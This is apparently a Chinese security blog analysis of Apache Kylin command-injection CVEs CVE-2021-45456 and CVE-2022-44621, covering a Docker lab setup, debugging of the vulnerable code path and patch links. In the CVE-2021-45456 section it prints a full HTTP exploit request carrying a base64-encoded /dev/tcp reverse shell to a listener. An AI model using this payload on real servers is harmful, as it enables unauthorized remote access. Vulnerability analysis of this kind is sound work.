kylin CVE-2021-45456 & CVE-2022-44621
前言
CVE-2021-45456 是由于系統直接將用戶請求中的project傳入并執行,導致命令執行。
CVE-2022-44621 是由于系統未過濾 jobId 參數,導致可能存在命令執行(說實話,jobID應該是不可控的)。
CVE-2021-45456
漏洞報告:
- ? https://lists.apache.org/thread/70fkf9w1swt2cqdcz13rwfjvblw1fcpf

影響版本:
- ? Kylin 4.0.0
環境配置
IP:
本機指Docker運行的環境實例;宿主機指運行Docker的主機。
- ? 本機IP:172.17.0.2
- ? 宿主機IP:192.168.1.105
版本:
直接采用官方 docker 鏡像搭建環境,進行遠程調試。
- ? docker:apachekylin/apache-kylin-standalone:4.0.0
調試:
執行如下代碼,修改 kylin.sh 的內容
sed -i 's/\${KYLIN_TOMCAT_OPTS} -classpath/\${KYLIN_TOMCAT_OPTS} -Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=5005 -classpath/g' /home/admin/apache-kylin-4.0.0-bin-spark2/bin/kylin.sh
sh /home/admin/apache-kylin-4.0.0-bin-spark2/bin/kylin.sh restart
啟動:
執行如下命令即可啟動 Kylin :
docker pull apachekylin/apache-kylin-standalone:4.0.0 docker run -d -m 8G -p 7070:7070 -p 8088:8088 -p 50070:50070 -p 8032:8032 -p 8042:8042 -p 2181:2181 -p 5005:5005 apachekylin/apache-kylin-standalone:4.0.0
具體看官方的docker安裝文檔 https://kylin.apache.org/cn/docs/install/kylin_docker.html
其中各端口功能如下:
- ? 5005:遠程調試端口
- ? 7070:http://127.0.0.1:7070/kylin/login,Kylin 頁面。密碼:admin KYLIN
- ? 50080:http://127.0.0.1:50070,HDFS NameNode 頁面。
- ? 8088:http://127.0.0.1:8088,YARN ResourceManager 頁面。
攻擊
- 1. 登錄 Kylin。賬號:admin,密碼:KYLIN

- 2. 創建一個名稱為 nohupshcechoc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xLjEwNS8xMjM0NSAwPiYxCgbase64d 的項目

- 3. 在宿主機使用 nc 監聽 12345 端口

- 4. 在Burpsuite-repeater模塊發送如下請求包:
GET /kylin/api/diag/project/%60nohup%20%73%68%20%2d%63%20%22%24%28%65%63%68%6f%20%63%32%67%67%4c%57%6b%67%50%69%59%67%4c%32%52%6c%64%69%39%30%59%33%41%76%4d%54%6b%79%4c%6a%45%32%4f%43%34%78%4c%6a%45%77%4e%53%38%78%4d%6a%4d%30%4e%53%41%77%50%69%59%78%43%67%3d%3d%7c%62%61%73%65%36%34%20%2d%64%29%22%20%26%60/download HTTP/1.1 Host: 127.0.0.1:7070User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: closeCookie: project=%22a%22; JSESSIONID=9805DDB8B4CD54C6A2F7210364C5B75DUpgrade-Insecure-Requests: 1在宿主機 12345 端口即可收到 shell

注意:
- 1. 上文中的 payload 為:
`nohup sh -c "$(echo c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4yLjQ4LzEyMzQ1IDA+JjE=|base64 -d)" &`使用 base64 的原因是,路徑中出現斜杠,系統會報錯;使用 nohup 的原因是防止系統可能卡死; - 2. 上文中項目名為 payload 中字母和數字的順序組合。所以,反彈IP的不同,payload有所改變,需要攻擊者自行調整payload。
調試
源碼:
從官方庫下載 Kylin4.0.0 版本
- ? https://github.com/apache/kylin/archive/refs/tags/kylin-4.0.0.zip
斷點:
Idea 打開后,在org.apache.kylin.rest.controller.DiagnosisController#dumpProjectDiagnosisInfo方法下斷點:

調用棧
runNativeCommand:123, CliCommandExecutor (org.apache.kylin.common.util) execute:91, CliCommandExecutor (org.apache.kylin.common.util) execute:85, CliCommandExecutor (org.apache.kylin.common.util) runDiagnosisCLI:129, DiagnosisService (org.apache.kylin.rest.service) dumpProjectDiagnosisInfo:98, DiagnosisService (org.apache.kylin.rest.service) dumpProjectDiagnosisInfo:82, DiagnosisController (org.apache.kylin.rest.controller) ··· ··· tomcat調用棧忽略... ···
調試:
重放請求包:
GET /kylin/api/diag/project/%60nohup%20%73%68%20%2d%63%20%22%24%28%65%63%68%6f%20%63%32%67%67%4c%57%6b%67%50%69%59%67%4c%32%52%6c%64%69%39%30%59%33%41%76%4d%54%6b%79%4c%6a%45%32%4f%43%34%78%4c%6a%45%77%4e%53%38%78%4d%6a%4d%30%4e%53%41%77%50%69%59%78%43%67%3d%3d%7c%62%61%73%65%36%34%20%2d%64%29%22%20%26%60/download HTTP/1.1 Host: 127.0.0.1:7070 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Cookie: project=%22a%22; JSESSIONID=9805DDB8B4CD54C6A2F7210364C5B75D Upgrade-Insecure-Requests: 1
成功捕獲斷點

參數 project 的值即為 payload,直接傳遞給了org.apache.kylin.rest.service.DiagnosisService#dumpProjectDiagnosisInfo方法。

紅框處的功能為為獲取項目實例,并判斷是否存在。分為兩個步驟:
- ? 第一步,使用
org.apache.kylin.rest.util.ValidateUtil#convertStringToBeAlphanumericUnderscore方法將 project 參數值中非字母數字和下劃線的字符串替換為空。其代碼實現如下:public static String convertStringToBeAlphanumericUnderscore(String toBeConverted) { return toBeConverted.replaceAll("[^a-zA-Z0-9_]", "");}- ? 第二步,根據處理后的project參數作為依據,獲取項目實例,并判斷項目實例是否存在。
而該CVE的問題正在于此,傳遞給 runDiagnosisCLI 方法的參數不是處理后的project參數,而是用戶請求傳遞的原文,即圖片中的 args 數組。

runDiagnosisCLI 方法將 args 數組拼接后直接傳遞并在后續代碼中執行(不再追蹤,自行調試)。
修復
補丁:
- ? https://github.com/apache/kylin/pull/1781

修復方案:參數一致。
參考
- ? https://securitylab.github.com/advisories/GHSL-2021-1048_GHSL-2021-1051_Apache_Kylin/
- ? https://y4er.com/posts/cve-2021-45456-apache-kylin-command-injection/
- ? https://lists.apache.org/thread/70fkf9w1swt2cqdcz13rwfjvblw1fcpf
- ? https://lists.apache.org/thread/7ctchj24dofgsj9g1rg1245cms9myb34
CVE-2022-44621
該漏洞在我的理解中,并沒辦法觸發?
首先,觸發該漏洞的api接口如下:

是一個下載job的功能,在 KYLIN 中對應的功能點如下圖。

我們通過debug可知


如果 jobId 可控,那么攻擊者可直接通過 http 請求植入惡意命令造成任意命令執行。
在這里我們要先說明一個事實,如果我們沒辦法在生成
job 時控制 jobId 的值(如CVE-2021-45456一樣,新建 project 時指定了project
name),那么我們無法進一步利用。這是因為kylin首先會根據 jobId 查詢是否存在該 job,然后才去執行后續步驟。
但是在我跟蹤jobId的生成方式后,我發現jobId完全就是寫死的 uuid,無法控制。

所以QAQ,不知道如何利用。
修復
補丁:
- ? https://github.com/apache/kylin/pull/2011/files
